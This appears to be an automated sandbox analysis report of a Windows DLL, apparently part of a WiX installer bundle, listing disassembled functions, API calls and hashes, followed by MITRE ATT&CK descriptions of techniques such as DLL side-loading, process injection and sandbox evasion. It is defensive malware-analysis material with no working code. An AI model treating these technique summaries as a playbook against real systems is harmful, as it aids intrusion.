Function 6C689FA8 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 6C689FBB
VariantInit.OLEAUT32(?), ref: 6C689FC7
VariantClear.OLEAUT32(?), ref: 6C68A03B
SysFreeString.OLEAUT32(00000000), ref: 6C68A046

Part of subcall function 6C689B4C: SysAllocString.OLEAUT32(?), ref: 6C689B61

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$AllocVariant$ClearFreeInit
String ID:
API String ID: 347726874-0
Opcode ID: 8c925adc8fb542d22f2ae4332cdb825e122ffc5aaaa3158d314d1d4e4783b19f
Instruction ID: ecadab56bfb67ce0ea3b3aed48bebfe89efd6a874dec597cc1f236ea4a714ad0
Opcode Fuzzy Hash: 8c925adc8fb542d22f2ae4332cdb825e122ffc5aaaa3158d314d1d4e4783b19f
Instruction Fuzzy Hash: B3214C71A0221AAFDF00DFA4C888AAE7BB8AF0475DF104554ED02DB291D731DD01CBA4

Function 6C687905 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,?), ref: 6C68794F
SetBkColor.GDI32(?,?), ref: 6C687960
SetBkMode.GDI32(?,00000001), ref: 6C687975
GetStockObject.GDI32(00000005), ref: 6C68797D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: a7bdba0d5be88ba64d86482bbbdde5698782214ec7b1134c40856e3962c99d58
Instruction ID: e564695c6ad94a1a01242771b8279591f5802d69efbea3c14b98fcbab12d8fc2
Opcode Fuzzy Hash: a7bdba0d5be88ba64d86482bbbdde5698782214ec7b1134c40856e3962c99d58
Instruction Fuzzy Hash: 0911A732712615DFCF108E59C8C0859B7B5FB093297214729FA7957990C331AC558BE4

Function 6C68BC37 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C68BC51

Part of subcall function 6C68E067: __FF_MSGBANNER.LIBCMT ref: 6C68E080
Part of subcall function 6C68E067: __NMSG_WRITE.LIBCMT ref: 6C68E087
Part of subcall function 6C68E067: HeapAlloc.KERNEL32(00000000,00000001,?,00000000,?,?,6C68BC56,?), ref: 6C68E0AC

std::exception::exception.LIBCMT ref: 6C68BC86
std::exception::exception.LIBCMT ref: 6C68BCA0
__CxxThrowException@8.LIBCMT ref: 6C68BCB1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: std::exception::exception$AllocException@8HeapThrow_malloc
String ID:
API String ID: 1414122017-0
Opcode ID: c022af98d0fb0032baafce8cd27f388251c376b50b293bdfd24e5cdb57d1ade6
Instruction ID: 1602c25b2da1c8b815646232dee92dba4bec7d96735553ebc9beae65ae349076
Opcode Fuzzy Hash: c022af98d0fb0032baafce8cd27f388251c376b50b293bdfd24e5cdb57d1ade6
Instruction Fuzzy Hash: 8EF0C87650210BAADF14EF55CC45AEE3BF9AF8231CF14041AE414A6A90DF708A48C7FD

Function 6C68152B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 6C6814D4: InitializeCriticalSection.KERNEL32(00000014,?,00000000,?,6C681547,?,?,00000003,00000BB8,?,00000000,?,00000000,00000000,?,6C683E1D), ref: 6C681507

_memcpy_s.LIBCMT ref: 6C68155E

Strings

WixBundleInstalled, xrefs: 6C681583
WixBundleForcedRestartPackage, xrefs: 6C6815E6

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CriticalInitializeSection_memcpy_s
String ID: WixBundleForcedRestartPackage$WixBundleInstalled
API String ID: 2827065295-1131346564
Opcode ID: 7bb90c27358c1d8f14729afbd9222aa2eb8296ff0d609763baffaf4ebf3cecea
Instruction ID: cdc1b0d86db9ed488dabe342d9a5f8e0192fe59e2d5bb197abfadea89a131bc9
Opcode Fuzzy Hash: 7bb90c27358c1d8f14729afbd9222aa2eb8296ff0d609763baffaf4ebf3cecea
Instruction Fuzzy Hash: 5651E5B0902B069FD7218F6AC481786FBF4FB09304F50492ED6BA96A50D770A594CF69

Function 6C686F4B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000044B,00000000,?), ref: 6C686FA1

Part of subcall function 6C68A44B: _memset.LIBCMT ref: 6C68A45B
Part of subcall function 6C68A44B: ShellExecuteExW.SHELL32(00000000), ref: 6C68A499
Part of subcall function 6C68A44B: CloseHandle.KERNEL32(00000000), ref: 6C68A52A

SetCursor.USER32(?,?), ref: 6C686FCA

Strings

open, xrefs: 6C686FB2

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: CloseCursorExecuteHandleMessageSendShell_memset
String ID: open
API String ID: 3461707343-2758837156
Opcode ID: 8352fee9f534fea1069ccd084d8fd38069ff10446c70bb62999d16cf1548139f
Instruction ID: 351d32bb789f3e6c317a0064243697edd1b4cc677c13870ba3423bd0148d9ad0
Opcode Fuzzy Hash: 8352fee9f534fea1069ccd084d8fd38069ff10446c70bb62999d16cf1548139f
Instruction Fuzzy Hash: 56115E31A11608AFCB11DFAACD84D9FBBF9FF45304F104529F501E2A10D770EA049B68

Function 6C684F07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(0000007F,00000000,?,00000000,?,00000000,?,?,00000000,00000000,00000000,?,6C684FE2,00000000,00000000,00000200), ref: 6C684F4B
GetLastError.KERNEL32(?,6C684FE2,00000000,00000000,00000200,?,6C685110,00000000,00000000,00000000,?,?,00000000,?,6C685173,00000000), ref: 6C684F55

Strings

strutil.cpp, xrefs: 6C684F7A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorLastString
String ID: strutil.cpp
API String ID: 3728238275-3612885251
Opcode ID: ec7c50fd066d535d4a58f5b53bb0510040f4f349a4b1489e9f6b2458017f8297
Instruction ID: c5d1eeb45e6f17aee80a9f3871699043e7007a23008d8e2254b18a7beafe8fd8
Opcode Fuzzy Hash: ec7c50fd066d535d4a58f5b53bb0510040f4f349a4b1489e9f6b2458017f8297
Instruction Fuzzy Hash: 9A01B136242506BBDB120E928C14EAA3F7DDFC13B0F154129FD289A650EBB5C4109B7C

Function 6C689AB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6C689AF6
SysFreeString.OLEAUT32(00000000), ref: 6C689B2B

Strings

xmlutil.cpp, xrefs: 6C689AC7, 6C689B0D

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: xmlutil.cpp
API String ID: 344208780-1270936966
Opcode ID: 6b5cf982d0767c212f60e18ff562560a20c0cb535e9ff63e5dc6d5fdfa68725a
Instruction ID: 034abdac1aa57d1f4cd24379b2bc5a9e1aa79d815819ff04ad9e9cd28a0c6288
Opcode Fuzzy Hash: 6b5cf982d0767c212f60e18ff562560a20c0cb535e9ff63e5dc6d5fdfa68725a
Instruction Fuzzy Hash: C6018F31646206ABEB015E6A8848E9B37ADDF46769F080536F805EBB40D679C80086B8

Function 6C689BA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6C689BED
SysFreeString.OLEAUT32(00000000), ref: 6C689C22

Strings

xmlutil.cpp, xrefs: 6C689BBE, 6C689C04

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: xmlutil.cpp
API String ID: 344208780-1270936966
Opcode ID: 810d95ec62246c7e6bcb58f75d4ec90fb43c3587b8918cda630190fec8a03455
Instruction ID: 964b6cb63b353cc5c9e2bf05af814d0a0f462cad69f8deb6882a87b9a4e2af6d
Opcode Fuzzy Hash: 810d95ec62246c7e6bcb58f75d4ec90fb43c3587b8918cda630190fec8a03455
Instruction Fuzzy Hash: 4B01A231645206ABEB100E6A8C44EAB36BDDF4676DF080A36F905DBB40D775CC4086BC

Function 6C68A2BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00000000,00000104,00000000,00000104,00000000,00000000,00000000,?,6C68A425,00000000,?,?,?,6C68B0B9,00000000), ref: 6C68A2DE
GetLastError.KERNEL32(?,6C68A425,00000000,?,?,?,6C68B0B9,00000000,00000000,?,?,?,6C682A8B,?,00000000,00000000), ref: 6C68A2F5

Strings

pathutil.cpp, xrefs: 6C68A31A

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: pathutil.cpp
API String ID: 2776309574-741606033
Opcode ID: a323ede3284d7e0b485fa9838369598cc64191fdf8c074bb49a3042bd814e6e7
Instruction ID: 1f3df9eddd0da6d8a6b4f3b53bb5309add4c961050997961b910f78197a10584
Opcode Fuzzy Hash: a323ede3284d7e0b485fa9838369598cc64191fdf8c074bb49a3042bd814e6e7
Instruction Fuzzy Hash: A3F0463260B5226BE7210E4A8C94E9BBA6CDF027B4B050235FF00EBA81E765CC0446F8

Function 6C68A7AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(?,?,00000000,00000000,?,?,?,6C687762,00000000,00000024,?,00000000,?,?,6C69C028,00000024), ref: 6C68A7C7
GetLastError.KERNEL32(?,?,?,6C687762,00000000,00000024,?,00000000,?,?,6C69C028,00000024), ref: 6C68A7D1

Strings

fileutil.cpp, xrefs: 6C68A7F6

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: ErrorFileLastSize
String ID: fileutil.cpp
API String ID: 464720113-2967768451
Opcode ID: ed39a2f34e7153fd5211e8db33eb758e6d5bcf3c87c2f75771bf19a044f1058d
Instruction ID: fd3328694f78ab90024e977ef7705843e4935c1d6a44eeee5ce5b427ba475df3
Opcode Fuzzy Hash: ed39a2f34e7153fd5211e8db33eb758e6d5bcf3c87c2f75771bf19a044f1058d
Instruction Fuzzy Hash: D5F0CDBA602206ABDB008F5AC804A9A7BF8EF85721F00402DE885D7640E274E9019B78

Function 6C6899C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6C6899D9
SysFreeString.OLEAUT32(00000000), ref: 6C689A0B

Strings

xmlutil.cpp, xrefs: 6C6899ED

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: xmlutil.cpp
API String ID: 344208780-1270936966
Opcode ID: 72ee17370d711bcbc7ffe4e1716327d4751cb83739f40373387bebc293346feb
Instruction ID: aaac81645d1153a3351e4414efd6612deb319cccebfa7c91bd9b8ff1703c0e4e
Opcode Fuzzy Hash: 72ee17370d711bcbc7ffe4e1716327d4751cb83739f40373387bebc293346feb
Instruction Fuzzy Hash: DDF02431642615A7CF125E59CC48F8A73B99F82769F144225FC15AB600C379C81086B8

Function 6C689B4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 6C689B61
SysFreeString.OLEAUT32(00000000), ref: 6C689B93

Strings

xmlutil.cpp, xrefs: 6C689B78

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: xmlutil.cpp
API String ID: 344208780-1270936966
Opcode ID: 4321e9bb9a35b2b536fe407407242c423896e52f73e876a858ce58716123e3a9
Instruction ID: e34bb62c64df77ac26cd5d149418c8ea79455acd6bb4b7b080a3361a2647a032
Opcode Fuzzy Hash: 4321e9bb9a35b2b536fe407407242c423896e52f73e876a858ce58716123e3a9
Instruction Fuzzy Hash: D5F0B431662315A7CB110E598C08E8B77B8DF82B69F104125FC14AB650D775C81086E8

Function 6C68A184 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 6C689FA8: SysAllocString.OLEAUT32(?), ref: 6C689FBB
Part of subcall function 6C689FA8: VariantInit.OLEAUT32(?), ref: 6C689FC7
Part of subcall function 6C689FA8: VariantClear.OLEAUT32(?), ref: 6C68A03B
Part of subcall function 6C689FA8: SysFreeString.OLEAUT32(00000000), ref: 6C68A046

_wcstoul.LIBCMT ref: 6C68A1AC

Part of subcall function 6C68CAB7: wcstoxl.LIBCMT ref: 6C68CAC7

SysFreeString.OLEAUT32(00000000), ref: 6C68A1C2

Strings

p@hl, xrefs: 6C68A1B1

Memory Dump Source

Source File: 00000003.00000002.2727304980.000000006C681000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000003.00000002.2727203203.000000006C680000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727594572.000000006C69C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2727724550.000000006C69F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c680000_UNK_.jbxd

Similarity

API ID: String$FreeVariant$AllocClearInit_wcstoulwcstoxl
String ID: p@hl
API String ID: 935627439-3552657052
Opcode ID: b1eeef95653fbb04d7a6bf27877045959c15bbb2c37cb25c1e5224b3f7aa2f23
Instruction ID: c0413b07cc668f799bde5046add1d7b6c8f58912b9b0e0df7ee3549c783ebf83
Opcode Fuzzy Hash: b1eeef95653fbb04d7a6bf27877045959c15bbb2c37cb25c1e5224b3f7aa2f23
Instruction Fuzzy Hash: 58F05832902218FBCF019F90CD01BCD7B78EB01319F100160ED01A62A1C3768A20EBA8

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

